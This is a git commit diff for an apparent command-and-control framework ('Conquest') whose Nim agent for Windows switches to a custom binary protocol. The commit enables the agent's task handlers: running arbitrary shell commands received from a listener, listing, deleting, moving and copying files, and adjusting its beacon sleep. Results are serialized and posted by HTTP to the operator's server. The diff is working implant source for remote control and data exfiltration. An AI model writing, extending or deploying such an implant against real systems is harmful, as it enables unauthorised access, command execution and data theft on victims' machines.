Implemented communication with custom binary structure instead of JSON requests

This commit is contained in:
Jakob Friedl
2025-07-19 16:49:27 +02:00
parent d22ad0bd0c
commit 99f55cc04f
19 changed files with 524 additions and 433 deletions

View File

@@ -1,6 +1,4 @@
import winim import winim
import ../../common/types
export PacketType, ArgType, HeaderFlags, CommandType, StatusType, ResultType, Header, TaskArg, Task, TaskResult
type type
ProductType* = enum ProductType* = enum

View File

@@ -1,6 +1,6 @@
import winim, os, net, strformat, strutils, registry import winim, os, net, strformat, strutils, registry
import ./[types, utils] import ./[agentTypes, utils]
# Hostname/Computername # Hostname/Computername
proc getHostname*(): string = proc getHostname*(): string =
@@ -88,11 +88,11 @@ proc getProductType(): ProductType =
proc getOSVersion*(): string = proc getOSVersion*(): string =
proc rtlGetVersion(lpVersionInformation: var types.OSVersionInfoExW): NTSTATUS proc rtlGetVersion(lpVersionInformation: var agentTypes.OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".} {.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
when defined(windows): when defined(windows):
var osInfo: types.OSVersionInfoExW var osInfo: agentTypes.OSVersionInfoExW
discard rtlGetVersion(osInfo) discard rtlGetVersion(osInfo)
# echo $int(osInfo.dwMajorVersion) # echo $int(osInfo.dwMajorVersion)
# echo $int(osInfo.dwMinorVersion) # echo $int(osInfo.dwMinorVersion)

View File

@@ -1,3 +1,3 @@
# import ./[shell, sleep, filesystem] import ./[shell, sleep, filesystem]
# export shell, sleep, filesystem export shell, sleep, filesystem

View File

@@ -1,332 +1,270 @@
# import os, strutils, strformat, base64, winim, times, algorithm, json import os, strutils, strformat, winim, times, algorithm
# import ../common/types import ../[agentTypes, utils]
import ../task/result
import ../../../common/types
# # Retrieve current working directory # Retrieve current working directory
# proc taskPwd*(task: Task): TaskResult = proc taskPwd*(config: AgentConfig, task: Task): TaskResult =
# echo fmt"Retrieving current working directory." echo fmt" [>] Retrieving current working directory."
# try: try:
# Get current working directory using GetCurrentDirectory
let
buffer = newWString(MAX_PATH + 1)
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
# # Get current working directory using GetCurrentDirectory if length == 0:
# let raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
# buffer = newWString(MAX_PATH + 1)
# length = GetCurrentDirectoryW(MAX_PATH, &buffer) let output = $buffer[0 ..< (int)length] & "\n"
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
# if length == 0:
# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
# return TaskResult(
# task: task.id,
# agent: task.agent, # Change working directory
# data: encode($buffer[0 ..< (int)length] & "\n"), proc taskCd*(config: AgentConfig, task: Task): TaskResult =
# status: Completed
# ) # Parse arguments
let targetDirectory = task.args[0].data.toString()
# except CatchableError as err:
# return TaskResult( echo fmt" [>] Changing current working directory to {targetDirectory}."
# task: task.id,
# agent: task.agent, try:
# data: encode(fmt"An error occured: {err.msg}" & "\n"), # Get current working directory using GetCurrentDirectory
# status: Failed if SetCurrentDirectoryW(targetDirectory) == FALSE:
# ) raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
# # Change working directory return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
# proc taskCd*(task: Task): TaskResult =
except CatchableError as err:
# # Parse arguments return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
# let targetDirectory = parseJson(task.args)["directory"].getStr()
# echo fmt"Changing current working directory to {targetDirectory}." # List files and directories at a specific or at the current path
proc taskDir*(config: AgentConfig, task: Task): TaskResult =
# try:
# # Get current working directory using GetCurrentDirectory try:
# if SetCurrentDirectoryW(targetDirectory) == FALSE: var targetDirectory: string
# raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
# Parse arguments
# return TaskResult( case int(task.argCount):
# task: task.id, of 0:
# agent: task.agent, # Get current working directory using GetCurrentDirectory
# data: encode(""), let
# status: Completed cwdBuffer = newWString(MAX_PATH + 1)
# ) cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
# except CatchableError as err: if cwdLength == 0:
# return TaskResult( raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
# task: task.id,
# agent: task.agent, targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
# status: Failed of 1:
# ) targetDirectory = task.args[0].data.toString()
else:
# # List files and directories at a specific or at the current path discard
# proc taskDir*(task: Task): TaskResult =
echo fmt" [>] Listing files and directories in {targetDirectory}."
# # Parse arguments
# var targetDirectory = parseJson(task.args)["directory"].getStr() # Prepare search pattern (target directory + \*)
let searchPattern = targetDirectory & "\\*"
# echo fmt"Listing files and directories." let searchPatternW = newWString(searchPattern)
# try: var
# # Check if users wants to list files in the current working directory or at another path findData: WIN32_FIND_DATAW
hFind: HANDLE
# if targetDirectory == "": output = ""
# # Get current working directory using GetCurrentDirectory entries: seq[string] = @[]
# let totalFiles = 0
# cwdBuffer = newWString(MAX_PATH + 1) totalDirs = 0
# cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
# Find files and directories in target directory
# if cwdLength == 0: hFind = FindFirstFileW(searchPatternW, &findData)
# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
if hFind == INVALID_HANDLE_VALUE:
# targetDirectory = $cwdBuffer[0 ..< (int)cwdLength] raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
# # Prepare search pattern (target directory + \*) # Directory was found and can be listed
# let searchPattern = targetDirectory & "\\*" else:
# let searchPatternW = newWString(searchPattern) output = fmt"Directory: {targetDirectory}" & "\n\n"
output &= "Mode LastWriteTime Length Name" & "\n"
# var output &= "---- ------------- ------ ----" & "\n"
# findData: WIN32_FIND_DATAW
# hFind: HANDLE # Process all files and directories
# output = "" while true:
# entries: seq[string] = @[] let fileName = $cast[WideCString](addr findData.cFileName[0])
# totalFiles = 0
# totalDirs = 0 # Skip current and parent directory entries
if fileName != "." and fileName != "..":
# # Find files and directories in target directory # Get file attributes and size
# hFind = FindFirstFileW(searchPatternW, &findData) let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
# if hFind == INVALID_HANDLE_VALUE: let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
# raise newException(OSError, fmt"Failed to find files ({GetLastError()}).") let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
# # Directory was found and can be listed
# else: # Handle flags
# output = fmt"Directory: {targetDirectory}" & "\n\n" var mode = ""
# output &= "Mode LastWriteTime Length Name" & "\n" if isDir:
# output &= "---- ------------- ------ ----" & "\n" mode = "d"
inc totalDirs
# # Process all files and directories else:
# while true: mode = "-"
# let fileName = $cast[WideCString](addr findData.cFileName[0]) inc totalFiles
# # Skip current and parent directory entries if isArchive:
# if fileName != "." and fileName != "..": mode &= "a"
# # Get file attributes and size else:
# let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0 mode &= "-"
# let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
# let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0 if isReadOnly:
# let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0 mode &= "r"
# let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow) else:
mode &= "-"
# # Handle flags
# var mode = "" if isHidden:
# if isDir: mode &= "h"
# mode = "d" else:
# inc totalDirs mode &= "-"
# else:
# mode = "-" if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
# inc totalFiles mode &= "s"
else:
# if isArchive: mode &= "-"
# mode &= "a"
# else: # Convert FILETIME to local time and format
# mode &= "-" var
localTime: FILETIME
# if isReadOnly: systemTime: SYSTEMTIME
# mode &= "r" dateTimeStr = "01/01/1970 00:00:00"
# else:
# mode &= "-" if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
# Format date and time in PowerShell style
# if isHidden: dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
# mode &= "h"
# else: # Format file size
# mode &= "-" var sizeStr = ""
if isDir:
# if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0: sizeStr = "<DIR>"
# mode &= "s" else:
# else: sizeStr = ($fileSize).replace("-", "")
# mode &= "-"
# Build the entry line
# # Convert FILETIME to local time and format let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
# var entries.add(entryLine)
# localTime: FILETIME
# systemTime: SYSTEMTIME # Find next file
# dateTimeStr = "01/01/1970 00:00:00" if FindNextFileW(hFind, &findData) == 0:
break
# if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
# # Format date and time in PowerShell style # Close find handle
# dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}" discard FindClose(hFind)
# # Format file size # Add entries to output after sorting them (directories first, files afterwards)
# var sizeStr = "" entries.sort do (a, b: string) -> int:
# if isDir: let aIsDir = a[0] == 'd'
# sizeStr = "<DIR>" let bIsDir = b[0] == 'd'
# else:
# sizeStr = ($fileSize).replace("-", "") if aIsDir and not bIsDir:
return -1
# # Build the entry line elif not aIsDir and bIsDir:
# let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}" return 1
# entries.add(entryLine) else:
# Extract filename for comparison (last part after the last space)
# # Find next file let aParts = a.split(" ")
# if FindNextFileW(hFind, &findData) == 0: let bParts = b.split(" ")
# break let aName = aParts[^1]
let bName = bParts[^1]
# # Close find handle return cmp(aName.toLowerAscii(), bName.toLowerAscii())
# discard FindClose(hFind)
for entry in entries:
# # Add entries to output after sorting them (directories first, files afterwards) output &= entry & "\n"
# entries.sort do (a, b: string) -> int:
# let aIsDir = a[0] == 'd' # Add summary of how many files/directories have been found
# let bIsDir = b[0] == 'd' output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
output &= fmt"{totalDirs} dir(s)" & "\n"
# if aIsDir and not bIsDir:
# return -1 return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
# elif not aIsDir and bIsDir:
# return 1 except CatchableError as err:
# else: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
# # Extract filename for comparison (last part after the last space)
# let aParts = a.split(" ")
# let bParts = b.split(" ") # Remove file
# let aName = aParts[^1] proc taskRm*(config: AgentConfig, task: Task): TaskResult =
# let bName = bParts[^1]
# return cmp(aName.toLowerAscii(), bName.toLowerAscii()) # Parse arguments
let target = task.args[0].data.toString()
# for entry in entries:
# output &= entry & "\n" echo fmt" [>] Deleting file {target}."
# # Add summary of how many files/directories have been found try:
# output &= "\n" & fmt"{totalFiles} file(s)" & "\n" if DeleteFile(target) == FALSE:
# output &= fmt"{totalDirs} dir(s)" & "\n" raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
# return TaskResult( return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
# task: task.id,
# agent: task.agent, except CatchableError as err:
# data: encode(output), return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
# status: Completed
# )
# Remove directory
# except CatchableError as err: proc taskRmdir*(config: AgentConfig, task: Task): TaskResult =
# return TaskResult(
# task: task.id, # Parse arguments
# agent: task.agent, let target = task.args[0].data.toString()
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
# status: Failed echo fmt" [>] Deleting directory {target}."
# )
try:
# # Remove file if RemoveDirectoryA(target) == FALSE:
# proc taskRm*(task: Task): TaskResult = raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
# # Parse arguments return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
# let target = parseJson(task.args)["file"].getStr()
except CatchableError as err:
# echo fmt"Deleting file {target}." return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
# try: # Move file or directory
# if DeleteFile(target) == FALSE: proc taskMove*(config: AgentConfig, task: Task): TaskResult =
# raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
# Parse arguments
# return TaskResult( let
# task: task.id, lpExistingFileName = task.args[0].data.toString()
# agent: task.agent, lpNewFileName = task.args[1].data.toString()
# data: encode(""),
# status: Completed echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
# )
try:
# except CatchableError as err: if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
# return TaskResult( raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
# task: task.id,
# agent: task.agent, return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
# status: Failed except CatchableError as err:
# ) return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
# # Remove directory
# proc taskRmdir*(task: Task): TaskResult = # Copy file or directory
proc taskCopy*(config: AgentConfig, task: Task): TaskResult =
# # Parse arguments
# let target = parseJson(task.args)["directory"].getStr() # Parse arguments
let
# echo fmt"Deleting directory {target}." lpExistingFileName = task.args[0].data.toString()
lpNewFileName = task.args[1].data.toString()
# try:
# if RemoveDirectoryA(target) == FALSE: echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
# raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
try:
# return TaskResult( # Copy file to new location, overwrite if a file with the same name already exists
# task: task.id, if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
# agent: task.agent, raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
# data: encode(""),
# status: Completed return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
# )
except CatchableError as err:
# except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
# return TaskResult(
# task: task.id,
# agent: task.agent,
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
# status: Failed
# )
# # Move file or directory
# proc taskMove*(task: Task): TaskResult =
# # Parse arguments
# echo task.args
# let
# params = parseJson(task.args)
# lpExistingFileName = params["from"].getStr()
# lpNewFileName = params["to"].getStr()
# echo fmt"Moving {lpExistingFileName} to {lpNewFileName}."
# try:
# if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
# raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
# return TaskResult(
# task: task.id,
# agent: task.agent,
# data: encode(""),
# status: Completed
# )
# except CatchableError as err:
# return TaskResult(
# task: task.id,
# agent: task.agent,
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
# status: Failed
# )
# # Copy file or directory
# proc taskCopy*(task: Task): TaskResult =
# # Parse arguments
# let
# params = parseJson(task.args)
# lpExistingFileName = params["from"].getStr()
# lpNewFileName = params["to"].getStr()
# echo fmt"Copying {lpExistingFileName} to {lpNewFileName}."
# try:
# # Copy file to new location, overwrite if a file with the same name already exists
# if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
# raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
# return TaskResult(
# task: task.id,
# agent: task.agent,
# data: encode(""),
# status: Completed
# )
# except CatchableError as err:
# return TaskResult(
# task: task.id,
# agent: task.agent,
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
# status: Failed
# )

View File

@@ -1,30 +1,35 @@
import winim, osproc, strutils, strformat, base64, json import winim, osproc, strutils, strformat
import ../common/types import ../task/result
import ../[utils, agentTypes]
import ../../../common/types
proc taskShell*(task: Task): TaskResult = proc taskShell*(config: AgentConfig, task: Task): TaskResult =
# # Parse arguments JSON string to obtain specific values try:
# let var
# params = parseJson(task.args) command: string
# command = params["command"].getStr() arguments: string
# arguments = params["arguments"].getStr()
# echo fmt"Executing command {command} with arguments {arguments}" # Parse arguments
case int(task.argCount):
of 1: # Only the command has been passed as an argument
command = task.args[0].data.toString()
arguments = ""
of 2: # The optional 'arguments' parameter was included
command = task.args[0].data.toString()
arguments = task.args[1].data.toString()
else:
discard
# try: echo fmt" [>] Executing: {command} {arguments}."
# let (output, status) = execCmdEx(fmt("{command} {arguments}"))
# return TaskResult(
# task: task.id,
# agent: task.agent,
# data: encode(output),
# status: Completed
# )
# except CatchableError as err: let (output, status) = execCmdEx(fmt("{command} {arguments}"))
# return TaskResult(
# task: task.id, if output != "":
# agent: task.agent, return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes())
# data: encode(fmt"An error occured: {err.msg}" & "\n"), else:
# status: Failed return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[])
# )
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())

View File

@@ -1,27 +1,23 @@
# import os, strutils, strformat, base64, json import os, strutils, strformat
# import ../common/types import ../[agentTypes, utils]
import ../task/result
import ../../../common/[types, serialize]
# proc taskSleep*(task: Task): TaskResult = proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
# # Parse task parameter try:
# let delay = parseJson(task.args)["delay"].getInt() # Parse task parameter
let delay = int(task.args[0].data.toUint32())
# echo fmt"Sleeping for {delay} seconds." echo fmt" [>] Sleeping for {delay} seconds."
# try: sleep(delay * 1000)
# sleep(delay * 1000)
# return TaskResult(
# task: task.id,
# agent: task.agent,
# data: encode(""),
# status: Completed
# )
# except CatchableError as err: # Updating sleep in agent config
# return TaskResult( config.sleep = delay
# task: task.id,
# agent: task.agent, return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
# status: Failed except CatchableError as err:
# ) return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())

View File

@@ -1,6 +1,7 @@
import httpclient, json, strformat, asyncdispatch import httpclient, json, strformat, asyncdispatch
import ./[types, utils, agentinfo] import ./[agentTypes, utils, agentInfo]
import ../../common/types
proc register*(config: AgentConfig): string = proc register*(config: AgentConfig): string =
@@ -44,32 +45,36 @@ proc getTasks*(config: AgentConfig, agent: string): string =
except CatchableError as err: except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time # When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]: Listener not reachable." echo "[-] [getTasks]: " & err.msg
finally: finally:
client.close() client.close()
return "" return ""
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool = proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[byte]): bool =
# let client = newAsyncHttpClient() let client = newAsyncHttpClient()
# # Define headers # Define headers
# client.headers = newHttpHeaders({ "Content-Type": "application/json" }) client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $resultData.len
})
# let taskJson = %taskResult let body = resultData.toString()
# echo $taskJson echo body
# try: try:
# # Register agent to the Conquest server # Send binary task result data to server
# discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson) discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{uuidToString(taskResult.listenerId)}/{uuidToString(taskResult.agentId)}/{uuidToString(taskResult.taskId)}/results", body)
# except CatchableError as err:
# # When the listener is not reachable, don't kill the application, but check in at the next time except CatchableError as err:
# echo "[-] [postResults]: ", err.msg # When the listener is not reachable, don't kill the application, but check in at the next time
# return false echo "[-] [postResults]: " & err.msg
# finally: return false
# client.close() finally:
client.close()
return true return true

View File

@@ -1,8 +1,9 @@
import strformat, os, times import strformat, os, times
import winim import winim
import ./[types, http] import ./[agentTypes, http]
import task/handler, task/parser import task/handler, task/packer
import ../../common/types
const ListenerUuid {.strdefine.}: string = "" const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0 const Octet1 {.intdefine.}: int = 0
@@ -73,8 +74,13 @@ proc main() =
# Execute all retrieved tasks and return their output to the server # Execute all retrieved tasks and return their output to the server
for task in tasks: for task in tasks:
let result: TaskResult = config.handleTask(task) let
discard config.postResults(agent, result) result: TaskResult = config.handleTask(task)
resultData: seq[byte] = serializeTaskResult(result)
echo resultData
discard config.postResults(result, resultData)
when isMainModule: when isMainModule:
main() main()

View File

@@ -1,37 +1,22 @@
import strutils, tables, json import strutils, tables, json
import ../types import ../agentTypes
import ../commands/commands import ../commands/commands
import ../../../common/types
import sugar import sugar
proc handleTask*(config: AgentConfig, task: Task): TaskResult = proc handleTask*(config: AgentConfig, task: Task): TaskResult =
dump task let handlers = {
CMD_SLEEP: taskSleep,
# var taskResult = TaskResult CMD_SHELL: taskShell,
# let handlers = { CMD_PWD: taskPwd,
# CMD_SLEEP: taskSleep, CMD_CD: taskCd,
# CMD_SHELL: taskShell, CMD_LS: taskDir,
# CMD_PWD: taskPwd, CMD_RM: taskRm,
# CMD_CD: taskCd, CMD_RMDIR: taskRmdir,
# CMD_LS: taskDir, CMD_MOVE: taskMove,
# CMD_RM: taskRm, CMD_COPY: taskCopy
# CMD_RMDIR: taskRmdir, }.toTable
# CMD_MOVE: taskMove,
# CMD_COPY: taskCopy
# }.toTable
# Handle task command # Handle task command
# taskResult = handlers[task.command](task) return handlers[cast[CommandType](task.command)](config, task)
# echo taskResult.data
# Handle actions on specific commands
# case task.command:
# of CMD_SLEEP:
# if taskResult.status == STATUS_COMPLETED:
# # config.sleep = parseJson(task.args)["delay"].getInt()
# discard
# else:
# discard
# # Return the result
# return taskResult

View File

@@ -1,9 +1,7 @@
import strutils, strformat import strutils, strformat
import ../types import ../[agentTypes, utils]
import ../utils import ../../../common/[types, serialize]
import ../../../common/types
import ../../../common/serialize
proc deserializeTask*(bytes: seq[byte]): Task = proc deserializeTask*(bytes: seq[byte]): Task =
@@ -41,12 +39,13 @@ proc deserializeTask*(bytes: seq[byte]): Task =
command = unpacker.getUint16() command = unpacker.getUint16()
var argCount = unpacker.getUint8() var argCount = unpacker.getUint8()
var args = newSeq[TaskArg](argCount) var args = newSeq[TaskArg]()
# Parse arguments # Parse arguments
while argCount > 0: var i = 0
while i < int(argCount):
args.add(unpacker.getArgument()) args.add(unpacker.getArgument())
dec argCount inc i
return Task( return Task(
header: Header( header: Header(
@@ -88,3 +87,46 @@ proc deserializePacket*(packet: string): seq[Task] =
result.add(deserializeTask(taskBytes)) result.add(deserializeTask(taskBytes))
dec taskCount dec taskCount
proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
var packer = initPacker()
# Serialize result body
packer
.add(taskResult.taskId)
.add(taskResult.agentId)
.add(taskResult.listenerId)
.add(taskResult.timestamp)
.add(taskResult.command)
.add(taskResult.status)
.add(taskResult.resultType)
.add(taskResult.length)
if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
packer.addData(taskResult.data)
let body = packer.pack()
packer.reset()
# TODO: Encrypt result body
# Serialize header
packer
.add(taskResult.header.magic)
.add(taskResult.header.version)
.add(taskResult.header.packetType)
.add(taskResult.header.flags)
.add(taskResult.header.seqNr)
.add(cast[uint32](body.len))
.addData(taskResult.header.hmac)
let header = packer.pack()
# TODO: Calculate and patch HMAC
return header & body

View File

@@ -0,0 +1,25 @@
import times
import ../../../common/types
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
return TaskResult(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_RESPONSE),
flags: cast[uint16](FLAG_PLAINTEXT),
seqNr: 1'u32, # TODO: Implement sequence tracking
size: 0'u32,
hmac: default(array[16, byte])
),
taskId: task.taskId,
agentId: task.agentId,
listenerId: task.listenerId,
timestamp: uint32(now().toTime().toUnix()),
command: task.command,
status: cast[uint8](status),
resultType: cast[uint8](resultType),
length: uint32(resultData.len),
data: resultData,
)

View File

@@ -1,5 +1,5 @@
import strformat import strformat, strutils
import ./types import ./agentTypes
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string = proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let let
@@ -68,3 +68,23 @@ proc toString*(data: seq[byte]): string =
result = newString(data.len) result = newString(data.len)
for i, b in data: for i, b in data:
result[i] = char(b) result[i] = char(b)
proc toBytes*(data: string): seq[byte] =
result = newSeq[byte](data.len)
for i, c in data:
result[i] = byte(c.ord)
proc uuidToUint32*(uuid: string): uint32 =
return fromHex[uint32](uuid)
proc uuidToString*(uuid: uint32): string =
return uuid.toHex(8)
proc toUint32*(data: seq[byte]): uint32 =
if data.len != 4:
raise newException(ValueError, "Expected 4 bytes for uint32")
return uint32(data[0]) or
(uint32(data[1]) shl 8) or
(uint32(data[2]) shl 16) or
(uint32(data[3]) shl 24)

View File

@@ -5,7 +5,7 @@ type
Packer* = ref object Packer* = ref object
stream: StringStream stream: StringStream
proc initTaskPacker*(): Packer = proc initPacker*(): Packer =
result = new Packer result = new Packer
result.stream = newStringStream() result.stream = newStringStream()
@@ -25,8 +25,8 @@ proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
packer.add(arg.argType) packer.add(arg.argType)
case arg.argType: case cast[ArgType](arg.argType):
of cast[uint8](STRING), cast[uint8](BINARY): of STRING, BINARY:
# Add length for variable-length data types # Add length for variable-length data types
packer.add(cast[uint32](arg.data.len)) packer.add(cast[uint32](arg.data.len))
packer.addData(arg.data) packer.addData(arg.data)
@@ -76,6 +76,10 @@ proc getUint64*(unpacker: Unpacker): uint64 =
unpacker.position += 8 unpacker.position += 8
proc getBytes*(unpacker: Unpacker, length: int): seq[byte] = proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
if length <= 0:
return @[]
result = newSeq[byte](length) result = newSeq[byte](length)
let bytesRead = unpacker.stream.readData(result[0].addr, length) let bytesRead = unpacker.stream.readData(result[0].addr, length)
unpacker.position += bytesRead unpacker.position += bytesRead
@@ -86,16 +90,16 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
proc getArgument*(unpacker: Unpacker): TaskArg = proc getArgument*(unpacker: Unpacker): TaskArg =
result.argType = unpacker.getUint8() result.argType = unpacker.getUint8()
case result.argType: case cast[ArgType](result.argType):
of cast[uint8](STRING), cast[uint8](BINARY): of STRING, BINARY:
# Variable-length fields are prefixed with the content-length # Variable-length fields are prefixed with the content-length
let length = unpacker.getUint32() let length = unpacker.getUint32()
result.data = unpacker.getBytes(int(length)) result.data = unpacker.getBytes(int(length))
of cast[uint8](INT): of INT:
result.data = unpacker.getBytes(4) result.data = unpacker.getBytes(4)
of cast[uint8](LONG): of LONG:
result.data = unpacker.getBytes(8) result.data = unpacker.getBytes(8)
of cast[uint8](BOOL): of BOOL:
result.data = unpacker.getBytes(1) result.data = unpacker.getBytes(1)
else: else:
discard discard

View File

@@ -45,6 +45,7 @@ type
ResultType* = enum ResultType* = enum
RESULT_STRING = 0'u8 RESULT_STRING = 0'u8
RESULT_BINARY = 1'u8 RESULT_BINARY = 1'u8
RESULT_NO_OUTPUT = 2'u8
Header* = object Header* = object
magic*: uint32 # [4 bytes ] magic value magic*: uint32 # [4 bytes ] magic value
@@ -124,7 +125,7 @@ type
elevated*: bool elevated*: bool
sleep*: int sleep*: int
jitter*: float jitter*: float
tasks*: seq[seq[byte]] tasks*: seq[Task]
firstCheckin*: DateTime firstCheckin*: DateTime
latestCheckin*: DateTime latestCheckin*: DateTime

View File

@@ -2,6 +2,7 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys
import ../[utils, globals] import ../[utils, globals]
import ../db/database import ../db/database
import ../task/packer
import ../../common/types import ../../common/types
# Utility functions # Utility functions
@@ -40,6 +41,8 @@ proc getTasks*(listener, agent: string): seq[seq[byte]] =
{.cast(gcsafe).}: {.cast(gcsafe).}:
var result: seq[seq[byte]]
# Check if listener exists # Check if listener exists
if not cq.dbListenerExists(listener.toUpperAscii): if not cq.dbListenerExists(listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n") cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
@@ -56,39 +59,46 @@ proc getTasks*(listener, agent: string): seq[seq[byte]] =
# return nil # return nil
# Return tasks # Return tasks
return cq.agents[agent.toUpperAscii].tasks for task in cq.agents[agent.toUpperAscii].tasks:
let taskData = serializeTask(task)
result.add(taskData)
proc handleResult*(listener, agent, task: string, taskResult: TaskResult) = return result
proc handleResult*(resultData: seq[byte]) =
{.cast(gcsafe).}: {.cast(gcsafe).}:
let
taskResult = deserializeTaskResult(resultData)
taskId = uuidToString(taskResult.taskId)
agentId = uuidToString(taskResult.agentId)
listenerId = uuidToString(taskResult.listenerId)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$resultData.len} bytes received.")
if taskResult.status == cast[uint8](STATUS_FAILED): case cast[StatusType](taskResult.status):
